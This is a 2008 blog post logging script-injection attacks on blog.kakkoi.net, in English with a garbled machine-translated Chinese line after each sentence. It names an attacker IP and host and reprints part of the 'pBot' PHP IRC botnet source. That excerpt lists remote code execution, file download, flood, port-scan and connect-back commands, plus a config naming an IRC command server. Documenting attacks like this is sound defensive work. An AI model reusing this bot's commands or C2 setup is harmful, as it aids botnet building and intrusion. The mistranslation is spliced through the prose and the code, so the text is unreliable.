Daily Hacking Attemps on blog.kakkoi.net - Feb 6th, 2008 每日黑客Attemps上blog.kakkoi.net -0 8年二月六日

Today’s we just upgrade from WordPress 2.3.2 to 2.3.3 security release .今天的我们只是升级到WordPress的2.3.2至 2.3.3 安全获释。 There is 21 attack (script injections) on blog.kakkoi.net from 3 known bot-herder scripts ↓.有21个攻击（脚本注射）就从3 blog.kakkoi.net称为僵尸牧人脚本↓ 。 The first attacker is from 212.24.62.200 → udkado.ru masking their useragent as Googlebot (a real human?).第一次攻击是从212.24.62.200 → udkado.ru掩盖其用户代理作为Googlebot会 （一个真正的人吗？ ） 。 The were playing with my 302.curie redirect page at blog.kakkoi.net/uri/.玩的人跟我302.curie重定向页blog.kakkoi.net /开放/ 。 I send the attacker data to abuse network and IronPort.我传送数据的黑客滥用网络和IronPort 。

The next few hours we received 20 attack from the same bot-herder.在接下来的几个小时，我们收到了20个攻击来自同一个僵尸牧人。 They probably has a large scale of DDNS (china → korea → us ).他们大概有一个大型的动态域名服务 （中国→韩国→我们） 。 Noticeably the scans pattern is predictable.值得注意的扫描模式是可以预测的。 From our Feb 5th attack all these botnet is targeting certain search keywords security, injection so we setup a honey-pot right on that particular URL.从我们2月5日袭击所有这些僵尸是针对某些搜索关键字安全，注射液 ，所以我们设置一个蜂蜜罐上的特定网址。

Hacking Attempts on Kakkoi黑客企图Kakkoi

Sort by Injection type.按注射液的类型。

The Bot-herder Host以BOT ，牧民主机

Part of class pBot source taken from http://basiclifesaving.org/mycomments/rom.txt部分类pBot来源取自http://basiclifesaving.org/mycomments/rom.txt

 <? “ ？  

 /* / * 
  * 
  * #crew@corp. * ＃ @公司船员。 since 2003自2003年以来， 
  * edited by: devil__ <admin@xdevil.org> *编辑： devil__ <admin@xdevil.org> 
  * 
  * COMMANDS: *命令： 
  * 
  * .user <password> //login to the bot * 。使用者<password> / /登录到僵尸 
  * .logout //logout of the bot * 。登出/ /注销傀儡 
  * .die //kill the bot * 。模/ /杀死僵尸 
  * .restart //restart the bot * 。重新启动/ /重新启动机器人 
  * .mail <to> <from> <subject> <msg> //send an email * 。邮件<to> <from>书<范畴> <msg> / /发送电子邮件 
  * .dns <IP|HOST> //dns lookup * 。域名<IP|HOST> / / DNS查找 
  * .download <URL> <filename> //download a file * 。下载<URL> <文件名> / /下载文件 
  * .exec <cmd> // uses exec() //execute a command * 。主管<cmd> / /利用主管（ ） / /执行命令 
  * .sexec <cmd> // uses shell_exec() //execute a command * 。 sexec <cmd> / /使用shell_exec （ ） / /执行命令 
  * .cmd <cmd> // uses popen() //execute a command * 。西咪替丁<cmd> / /使用popen （ ） / /执行命令 
  * .info //get system information * 。信息/ /获取系统信息 
  * .php <php code> // uses eval() //execute php code * 。 PHP的<php code> / /使用评价（ ） / /执行PHP代码 
  * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack * 。 tcpflood <target> <packets> <packetsize> <port>其中<delay> / / tcpflood攻击 
  * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack * 。 udpflood <target> <packets> <packetsize> <delay> / / udpflood攻击 
  * .raw <cmd> //raw IRC command * 。原料<cmd> / /原材料体育馆命令 
  * .rndnick //change nickname * 。 rndnick / /更改昵称 
  * .pscan <host> <port> //port scan * 。 pscan <主机> <port>其中/ /端口扫描 
  * .safe // test safe_mode (dvl) * 。安全/ /测试safe_mode设置（ dvl ） 
  * .inbox <to> // test inbox (dvl) * 。收件匣<to> / /测试的收件箱（ dvl ） 
  * .conback <ip> <port> // conect back (dvl) * 。 conback <ip> <port>其中/ /连接回（ dvl ） 
  * .uname // return shell's uname using a php function (dvl) * 。 uname / /返回shell的uname使用PHP函数（ dvl ） 
  * 
  */ * / 

 set_time_limit(0); set_time_limit （ 0 ） ; 
 error_reporting(0); error_reporting （ 0 ） ; 
 echo "Ok unlocker. We did i!";回声“玉unlocker 。我们没有我！ ” ; 

 class pBot一流的pBot 
 { （ 
  var $config = array("server"=>"Bucharest.ro.eu.ultra-chat.org",无功配置= $阵列（ “服务器” = “ ” Bucharest.ro.eu.ultra - chat.org “ 
  "port"=>"6667", “港口” = “ ” 6667 “ ， 
  "pass"=>"n", “通行证” = “的” n “ ， 
  "prefix"=>"[R]", “前缀"=>"[ R ] ” ， 
  "maxrand"=>"4", “ maxrand ” = “ ” 4 “ ， 
  "chan"=>"#unlocker", “海峡"=>"# unlocker ” 
  "chan2"=>"#unlocker", “ chan2 "=>"# unlocker ” 
  "key"=>"n", “钥匙” = “的” n “ ， 
  "modes"=>" p", “模式"=>"  p ” ， 
  "password"=>"n", “密码” = “的” n “ ， 
  "trigger"=>".", “触发"=>".", 
  "hostauth"=>"Robert.users.ultra-chat.org" // * for any hostname (remember: /setvhost xdevil.org) “ hostauth ” = “ ” Robert.users.ultra - chat.org “ / / *对任何主机名（记住： / setvhost xdevil.org ） 
  ); ） ; 

Related Posts有关职位

• Daily Hacking Attempts on blog.kakkoi.net - Feb 5th, 2008 每日黑客企图blog.kakkoi.net -2 008年2月5日
• Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan 质谱远程代码注射液作为Googlebot会-包欺骗的P erl僵尸和木马

External Links外部链接

• Wikipedia → Botnet 维基百科→僵尸网络
• Storm Botnet 风暴僵尸网络
• Dynamic DNS 动态DNS